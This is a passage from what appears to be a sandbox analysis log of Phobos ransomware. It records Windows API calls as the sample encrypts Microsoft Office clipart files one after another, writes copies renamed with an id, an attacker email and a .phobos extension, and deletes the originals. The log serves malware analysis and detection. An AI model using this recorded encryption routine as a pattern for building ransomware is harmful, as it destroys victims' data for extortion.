lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.293] CryptDestroyKey (hKey=0x10dc710) returned 1 [0061.293] CloseHandle (hObject=0x330) returned 1 [0061.293] CloseHandle (hObject=0x2fc) returned 1 [0061.294] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0061.294] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.295] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=4236) returned 1 [0061.295] CloseHandle (hObject=0x2fc) returned 1 [0061.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220 [0061.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.295] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.295] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.295] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc550) returned 1 [0061.295] CryptSetKeyParam (hKey=0x10dc550, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.295] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x108c, lpOverlapped=0x0) returned 1 [0061.302] CryptEncrypt (in: hKey=0x10dc550, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1090, dwBufLen=0x1090 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1090) returned 1 [0061.302] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1090, lpOverlapped=0x0) returned 1 [0061.303] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc950) returned 1 [0061.303] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.303] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.303] CryptDestroyKey (hKey=0x10dc950) returned 1 [0061.303] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.303] CryptDestroyKey (hKey=0x10dc550) returned 1 [0061.303] CloseHandle (hObject=0x2fc) returned 1 [0061.303] CloseHandle (hObject=0x330) returned 1 [0061.304] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0061.305] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.305] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2422) returned 1 [0061.305] CloseHandle (hObject=0x330) returned 1 [0061.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 0x220 [0061.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.306] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.306] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.306] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc590) returned 1 [0061.306] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.306] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x976, lpOverlapped=0x0) returned 1 [0061.319] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x980, dwBufLen=0x980 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x980) returned 1 [0061.319] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x980, lpOverlapped=0x0) returned 1 [0061.320] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc950) returned 1 [0061.320] CryptSetKeyParam (hKey=0x10dc950, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.320] CryptEncrypt (in: hKey=0x10dc950, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.320] CryptDestroyKey (hKey=0x10dc950) returned 1 [0061.320] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.320] CryptDestroyKey (hKey=0x10dc590) returned 1 [0061.320] CloseHandle (hObject=0x330) returned 1 [0061.320] CloseHandle (hObject=0x2fc) returned 1 [0061.321] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic1.wmf")) returned 1 [0061.322] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.322] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=5270) returned 1 [0061.322] CloseHandle (hObject=0x2fc) returned 1 [0061.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220 [0061.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.323] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.323] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.323] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb10) returned 1 [0061.323] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.323] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x1496, lpOverlapped=0x0) returned 1 [0061.324] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x14a0) returned 1 [0061.324] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x14a0, lpOverlapped=0x0) returned 1 [0061.325] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcbd0) returned 1 [0061.325] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.325] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.325] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0061.325] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.325] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0061.325] CloseHandle (hObject=0x2fc) returned 1 [0061.325] CloseHandle (hObject=0x330) returned 1 [0061.326] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1 [0061.327] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.328] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=49546) returned 1 [0061.328] CloseHandle (hObject=0x330) returned 1 [0061.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 0x220 [0061.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.328] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.328] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.328] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcbd0) returned 1 [0061.328] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.328] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xc18a, lpOverlapped=0x0) returned 1 [0061.373] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc190, dwBufLen=0xc190 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xc190) returned 1 [0061.374] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xc190, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xc190, lpOverlapped=0x0) returned 1 [0061.375] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0061.375] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.375] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0061.375] CryptDestroyKey (hKey=0x10dc690) returned 1 [0061.375] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0061.375] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0061.375] CloseHandle (hObject=0x330) returned 1 [0061.375] CloseHandle (hObject=0x2fc) returned 1 [0061.377] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\craninst.wmf")) returned 1 [0061.378] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.379] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=2966) returned 1 [0061.379] CloseHandle (hObject=0x2fc) returned 1 [0061.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 0x220 [0061.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.379] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.379] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.379] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcb10) returned 1 [0061.379] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.379] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xb96, lpOverlapped=0x0) returned 1 [0061.381] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xba0, dwBufLen=0xba0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xba0) returned 1 [0061.381] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xba0, lpOverlapped=0x0) returned 1 [0061.382] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc9d0) returned 1 [0061.382] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0061.382] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x30, dwBufLen=0x30 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x30) returned 1 [0061.382] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0061.382] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xe2, lpOverlapped=0x0) returned 1 [0061.382] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0061.382] CloseHandle (hObject=0x2fc) returned 1 [0061.382] CloseHandle (hObject=0x330) returned 1 [0061.383] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1 [0061.383] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0061.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.384] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=10326) returned 1 [0061.384] CloseHandle (hObject=0x330) returned 1 [0061.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220 [0061.384] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0061.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0061.384] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.384] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0061.384] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0061.385] 